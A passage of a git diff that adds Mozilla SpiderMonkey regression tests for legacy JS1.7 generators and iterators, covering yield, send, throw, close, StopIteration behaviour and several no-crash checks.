+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350621;
+var summary = 'for-in loops over generator objects';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var LOOPS = 500;
+
+ function gen1() {
+ for (var a = 1; a <= LOOPS; ++a)
+ yield;
+ }
+
+ function gen2() {
+ for (var b in gen1())
+ yield;
+ }
+
+ function test_it(RUNS) {
+ for (var c = 1; c <= RUNS; ++c) {
+ var count = 0;
+ for (var d in gen2()) {
+ // The next line is needed to demonstrate the bug.
+ // Note that simply omitting the "x" triggers the bug far less often.
+ Object("x");
+ ++count;
+ }
+ if (count != LOOPS) {
+ print("Test run " + c + ": test failed, count = " + count +
+ ", should be " + LOOPS);
+ var failed = true;
+ }
+ }
+ actual = !failed;
+ if (!failed)
+ {
+ print("Test passed.");
+ }
+ }
+
+ expect = true;
+ test_it(20);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-350809.js b/js/src/tests/js1_7/geniter/regress-350809.js
new file mode 100644
index 000000000..fd1f600c8
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-350809.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350809;
+var summary = 'Do not assertion: if yield in xml filtering predicate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function(){ <x/>.(yield 4) })().next();');
+ }
+ catch(ex)
+ {
+ actual = expect =
+ 'InternalError: yield not yet supported from filtering predicate';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-351120.js b/js/src/tests/js1_7/geniter/regress-351120.js
new file mode 100644
index 000000000..e01c2595a
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-351120.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351120;
+var summary = 'Incorrect error messages with yield expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError:.*(is not a function|Cannot find function).*/;
+ actual = '';
+ try
+ {
+ (function() { yield [].z({}); })().next();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-352197.js b/js/src/tests/js1_7/geniter/regress-352197.js
new file mode 100644
index 000000000..7982e12ee
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-352197.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352197;
+var summary = 'TypeError if yield after return value in a block';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: anonymous generator function returns a value/;
+ try
+ {
+ var gen = eval('(function() { { return 5; } yield 3; })');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-352876.js b/js/src/tests/js1_7/geniter/regress-352876.js
new file mode 100644
index 000000000..600c82899
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-352876.js
@@ -0,0 +1,42 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352876;
+var summary = 'Do not assert with nested finally return|yield';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '[object StopIteration]';
+ actual = '';
+ try
+ {
+ var g = (function() {
+ try { try { } finally { return; } } finally { yield 3; }
+ })();
+
+ g.next();
+ g.next();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-355834.js b/js/src/tests/js1_7/geniter/regress-355834.js
new file mode 100644
index 000000000..37624fa53
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-355834.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355834;
+var summary = 'new Function("yield")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '[object Generator]';
+ var g = (new Function('yield'))(1);
+ actual = g + '';
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-359062.js b/js/src/tests/js1_7/geniter/regress-359062.js
new file mode 100644
index 000000000..9a806d7cf
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-359062.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 359062;
+var summary = 'Access generator local variables from nested functions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "Generator string";
+
+ var scope = "Global";
+
+ function gen() {
+ var scope = "Generator";
+ function inner() {
+ actual = scope + " " + typeof scope;
+ }
+ inner();
+ yield;
+ }
+
+ gen().next();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-366941.js b/js/src/tests/js1_7/geniter/regress-366941.js
new file mode 100644
index 000000000..74ee3a937
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-366941.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366941;
+var summary = 'Destructuring enumerations, iterations';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var list1 = [[1,2],[3,4],[5,6]];
+ var list2 = [[1,2,3],[4,5,6],[7,8,9]];
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for each (var [foo, bar] in list1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+ for each (var [foo, bar, baz] in list2) {
+ actual += foo + "," + bar + "," + baz + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ function gen(list) {
+ for each (var test in list) {
+ yield test;
+ }
+ }
+
+ var iter1 = gen(list1);
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for (var [foo, bar] in iter1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 3');
+
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected result was a SyntaxError about the for…in loop's lhs.
+ var iter2 = gen(list2);
+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+
+ try
+ {
+ eval('for (var [foo, bar, baz] in iter2) {' +
+ 'actual += foo + "," + bar + "," + baz + ";";' +
+ '}');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': 4');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-382335.js b/js/src/tests/js1_7/geniter/regress-382335.js
new file mode 100644
index 000000000..357156ce1
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-382335.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 382335;
+var summary = 'Trampolining threads using generators and iterators';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function make_gen() { yield 1; }
+
+ var gen2 = make_gen();
+
+ gen2.next();
+ gen2.close();
+
+ print(10);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-387871.js b/js/src/tests/js1_7/geniter/regress-387871.js
new file mode 100644
index 000000000..bb5202dae
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-387871.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387871;
+var summary = 'Do not assert: gen->state != JSGEN_RUNNING && gen->state != JSGEN_CLOSING';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = gen();
+
+ try {
+ a.next();
+ throw "a.next() should throw about already invoked generator";
+ } catch (e) {
+ if (!(e instanceof TypeError))
+ throw e;
+ }
+
+ function gen()
+ {
+ for (x in a)
+ yield 1;
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-390918.js b/js/src/tests/js1_7/geniter/regress-390918.js
new file mode 100644
index 000000000..fdd19e2ad
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-390918.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390918;
+var summary = 'Do not assert: !gen->frame.down" with gc in generator';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function gen()
+ {
+ var c = [1, "x"];
+ gc();
+ try {
+ yield c;
+ } finally {
+ gc();
+ }
+ }
+
+ var iter = gen();
+ var i;
+ for (i in iter) {
+ gc();
+ iter.close();
+ }
+
+ if (!(i.length === 2 && i[0] === 1 && i[1] === "x"))
+ throw "Unexpected yield result: "+i;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-392310.js b/js/src/tests/js1_7/geniter/regress-392310.js
new file mode 100644
index 000000000..a6edd25f7
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-392310.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 392310;
+var summary = 'send on newborn generator';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print("See http://developer.mozilla.org/en/docs/New_in_JavaScript_1.7");
+
+ function yielder() {
+ actual = 'before yield';
+ yield;
+ actual = 'after yield';
+ }
+
+ var gen = yielder();
+ expect = 'before yield';
+ gen.send('foo');
+ reportCompare(expect, actual, 'send(value) to newborn generator');
+
+ var gen = yielder();
+ expect = 'before yield';
+ gen.send(undefined);
+ reportCompare(expect, actual, 'send(undefined) to newborn generator');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/regress-466206.js b/js/src/tests/js1_7/geniter/regress-466206.js
new file mode 100644
index 000000000..fc6b2fe9e
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/regress-466206.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466206;
+var summary = 'Do not crash due to unrooted function variables';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ function g() {
+ var x = {};
+ f = function () { x.y; };
+ if (0) yield;
+ }
+
+ try { g().next(); } catch (e) {}
+ gc();
+ f();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/geniter/send-no-rhs.js b/js/src/tests/js1_7/geniter/send-no-rhs.js
new file mode 100644
index 000000000..e37681ba9
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/send-no-rhs.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "|it.send(o)| without an RHS";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function gen()
+{
+ yield 7;
+ yield 3;
+}
+
+var it = gen();
+
+try
+{
+ if (it.next() != 7)
+ throw "7 not yielded";
+ if (it.send(12) != 3)
+ throw "3 not yielded";
+
+ var stopPassed = false;
+ try
+ {
+ it.send(35); // resultant value of |yield 3;|
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "it: missing or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/sequential-yields.js b/js/src/tests/js1_7/geniter/sequential-yields.js
new file mode 100644
index 000000000..b829907b6
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/sequential-yields.js
@@ -0,0 +1,72 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "Sequential yields";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function fib()
+{
+ yield 0; // 0
+ yield 1; // 1
+ yield 1; // 2
+ yield 2; // 3
+ yield 3; // 4
+ yield 5; // 5
+ yield 8; // 6
+}
+
+var failed = false;
+var it = fib();
+
+try
+{
+ if (it.next() != 0)
+ throw "0 failed";
+ if (it.next() != 1)
+ throw "1 failed";
+ if (it.next() != 1)
+ throw "2 failed";
+ if (it.next() != 2)
+ throw "3 failed";
+ if (it.next() != 3)
+ throw "4 failed";
+ if (it.next() != 5)
+ throw "5 failed";
+ if (it.next() != 8)
+ throw "6 failed";
+
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+ if (!stopPassed)
+ throw "missing or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/shell.js b/js/src/tests/js1_7/geniter/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/shell.js
diff --git a/js/src/tests/js1_7/geniter/simple-fib.js b/js/src/tests/js1_7/geniter/simple-fib.js
new file mode 100644
index 000000000..51c144ab9
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/simple-fib.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 326466; // bug 326466, comment 1
+var summary = "Simple Fibonacci iterator";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function fib()
+{
+ var a = 0, b = 1;
+ while (true)
+ {
+ yield a;
+ var t = a;
+ a = b;
+ b += t;
+ }
+}
+
+var failed = false;
+
+try
+{
+ var g = fib();
+
+ if (g.next() != 0)
+ throw "F_0 = 0";
+ if (g.next() != 1)
+ throw "F_1 = 1";
+ if (g.next() != 1)
+ throw "F_2 = 1";
+ if (g.next() != 2)
+ throw "F_3 = 2";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/throw-after-close.js b/js/src/tests/js1_7/geniter/throw-after-close.js
new file mode 100644
index 000000000..3aef5e306
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/throw-after-close.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "gen.close(); gen.throw(ex) throws ex forever";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function gen()
+{
+ var x = 5, y = 7;
+ var z = x + y;
+ yield z;
+}
+
+var failed = false;
+var it = gen();
+
+try
+{
+ it.close();
+
+ // throw on closed generators just rethrows
+ var doThrow = true;
+ var thrown = "foobar";
+ try
+ {
+ it.throw(thrown);
+ }
+ catch (e)
+ {
+ if (e === thrown)
+ doThrow = false;
+ }
+
+ if (doThrow)
+ throw "it.throw(\"" + thrown + "\") failed";
+
+ // you can throw stuff at a closed generator forever
+ doThrow = true;
+ thrown = "sparky";
+ try
+ {
+ it.throw(thrown);
+ }
+ catch (e)
+ {
+ if (e === thrown)
+ doThrow = false;
+ }
+
+ if (doThrow)
+ throw "it.throw(\"" + thrown + "\") failed";
+
+ // don't execute a yield -- the uncaught exception
+ // exhausted the generator
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "invalid or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/throw-forever.js b/js/src/tests/js1_7/geniter/throw-forever.js
new file mode 100644
index 000000000..2e28b39f9
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/throw-forever.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "gen.throw(ex) returns ex for an exhausted gen";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function gen()
+{
+ var x = 5, y = 7;
+ var z = x + y;
+ yield z;
+}
+
+var failed = false;
+var it = gen();
+
+try
+{
+ // throw works even on newly-initialized generators
+ var thrown = "foobar";
+ var doThrow = true;
+ try
+ {
+ it.throw(thrown);
+ }
+ catch (e)
+ {
+ if (e === thrown)
+ doThrow = false;
+ }
+ if (doThrow)
+ throw "it.throw(\"" + thrown + "\") failed";
+
+ // you can throw stuff at a generator which hasn't
+ // been used yet forever
+ thrown = "baz";
+ doThrow = true;
+ try
+ {
+ it.throw(thrown);
+ }
+ catch (e)
+ {
+ if (e === thrown)
+ doThrow = false;
+ }
+ if (doThrow)
+ throw "it.throw(\"" + thrown + "\") failed";
+
+ // don't execute a yield -- the uncaught exception
+ // exhausted the generator
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "missing or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/unreachable-yield.js b/js/src/tests/js1_7/geniter/unreachable-yield.js
new file mode 100644
index 000000000..b1338ff64
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/unreachable-yield.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = "Iterator with unreachable yield statement";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function gen()
+{
+ // this is still a generator even if yield can't
+ // be invoked, because yield is a syntactical
+ // part of the language
+ if (false)
+ yield "failed";
+}
+
+var failed = false;
+try
+{
+ var it = gen();
+ if (it == undefined)
+ throw "gen() not recognized as generator";
+
+ // no yields to execute
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "incorrect or invalid StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/geniter/yield-new.js b/js/src/tests/js1_7/geniter/yield-new.js
new file mode 100644
index 000000000..726da3944
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/yield-new.js
@@ -0,0 +1,28 @@
+const K = 20;
+
+var obj;
+
+var g = new function() {
+ this.x = "puppies";
+ obj = this;
+ for (var i = 0; i < K; ++i)
+ yield i;
+ yield this;
+}
+
+var ct = 0;
+for (var i in g)
+ assertEq((ct < K && ct++ == i) || i == obj, true);
+assertEq(i.x, "puppies");
+
+function g2() {
+ for (var i=0; i<20; i++)
+ yield i;
+}
+var i = 0;
+for (var x of new g2()) {
+ assertEq(i, x);
+ i++;
+}
+
+reportCompare(true,true);
diff --git a/js/src/tests/js1_7/geniter/yield-undefined.js b/js/src/tests/js1_7/geniter/yield-undefined.js
new file mode 100644
index 000000000..5e75fb601
--- /dev/null
+++ b/js/src/tests/js1_7/geniter/yield-undefined.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// Note that this syntax isn't in the most recently posted ES4 TG1 wiki export,
+// either in the specification parts or in the grammar, so this test might be
+// Spidermonkey-specific.
+var BUGNUMBER = "(none)";
+var summary = "|yield;| is equivalent to |yield undefined;| ";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function gen()
+{
+ yield 7;
+ yield;
+ yield 3;
+}
+
+var it = gen();
+
+try
+{
+ if (it.next() != 7)
+ throw "7 not yielded";
+ if (it.next() !== undefined)
+ throw "|yield;| should be equivalent to |yield undefined;|";
+ if (it.next() != 3)
+ throw "3 not yielded";
+
+ var stopPassed = false;
+ try
+ {
+ it.next();
+ }
+ catch (e)
+ {
+ if (e === StopIteration)
+ stopPassed = true;
+ }
+
+ if (!stopPassed)
+ throw "it: missing or incorrect StopIteration";
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/iterable/browser.js b/js/src/tests/js1_7/iterable/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/browser.js
diff --git a/js/src/tests/js1_7/iterable/regress-340526-01.js b/js/src/tests/js1_7/iterable/regress-340526-01.js
new file mode 100644
index 000000000..e3e189278
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-340526-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 340526;
+var summary = 'Iterators: cross-referenced objects with close handler can ' +
+ 'delay close handler execution';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var iter = Iterator({});
+ iter.foo = "bar";
+ for (var i in iter)
+ ;
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/iterable/regress-340526-02.js b/js/src/tests/js1_7/iterable/regress-340526-02.js
new file mode 100644
index 000000000..a94566a3d
--- /dev/null
+++ b/js/src/tests/js1_7/iterable/regress-340526-02.js
@@ -0,0 +1,43 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 340526;
+var summary = 'Iterators: cross-referenced objects with close handler can ' +
+ 'delay close handler execution';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var close_count = 0;
+
+function gen()
+{
+ try {
+ yield 0;
